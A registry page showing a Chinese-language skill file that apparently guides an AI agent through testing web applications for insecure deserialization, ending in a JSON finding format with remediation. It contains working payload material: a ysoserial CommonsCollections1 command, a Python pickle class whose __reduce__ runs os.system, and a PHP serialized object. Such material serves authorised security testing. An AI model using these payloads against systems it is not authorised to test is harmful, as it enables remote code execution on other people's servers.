agentleFS
cdxiaodongcdxiaodong/cain-agent/skills/web/deserialization/SKILL.md

deserialization

Skill953 starsChanged 2 months agoApache-2.0View on GitHub

不安全的反序列化发生在 Web 应用将不可信数据直接反序列化为对象时,攻击者可构造恶意序列化数据执行任意代码。 常见成因: - Java:ObjectInputStream.readObject() 未校验 - Python:pickle.loads() / yaml.load() 未使用安全模式 - PHP:unserialize() 未过滤 - .NET:BinaryFormatter.Deserialize() 未限制类型 Java(CommonsCollections): Python(pickle): 判断依据: - 响应包含 uid= → 命令被执行 - 文件创建成功(/tmp/pwned)→ 代码被执行 - 应用崩溃/异常 → 可能存在漏洞

5 other projects use a version of this.

Adopted by

Most recently taken up by

The file

Files
SKILL.md

不安全的反序列化漏洞检测技能

原理

不安全的反序列化发生在 Web 应用将不可信数据直接反序列化为对象时,攻击者可构造恶意序列化数据执行任意代码。

常见成因:

  • Java:ObjectInputStream.readObject() 未校验
  • Python:pickle.loads() / yaml.load() 未使用安全模式
  • PHP:unserialize() 未过滤
  • .NET:BinaryFormatter.Deserialize() 未限制类型

检测方法

1. 定位反序列化点

  • Cookie/Session 存储
  • API 参数(Base64 编码对象)
  • 消息队列(RabbitMQ/Kafka)
  • 缓存系统(Redis/Memcached)

2. 构造恶意 Payload

Java(CommonsCollections):

# 使用 ysoserial 生成 Payload
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/pwned" | base64

Python(pickle):

import pickle
import base64
import os

class Evil:
    def __reduce__(self):
        return (os.system, ("whoami",))

payload = base64.b64encode(pickle.dumps(Evil()))

PHP(对象注入):

O:4:"Evil":1:{s:3:"cmd";s:6:"whoami";}

3. 验证代码执行

判断依据:

  • 响应包含 uid= → 命令被执行
  • 文件创建成功(/tmp/pwned)→ 代码被执行
  • 应用崩溃/异常 → 可能存在漏洞

工具

工具用途
ysoserialJava 反序列化 Payload 生成
picklePython 反序列化测试
Burp Suite抓包修改序列化数据

输出格式

{
  "finding_id": "deserialization-001",
  "issue_type": "deserialization",
  "severity": "critical",
  "endpoint": "/api/import",
  "parameter": "data",
  "payload": "rO0ABXNy...",
  "evidence": "whoami 命令执行,响应包含 uid=33",
  "remediation": "使用白名单反序列化(Jackson @JsonTypeInfo),禁用危险类"
}

注意事项

  • 只读原则:仅检测,不执行危险操作(如删除文件)
  • 无害 Payload:使用 whoami / id 验证
  • 零触网:测试用 mock 或本地环境

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.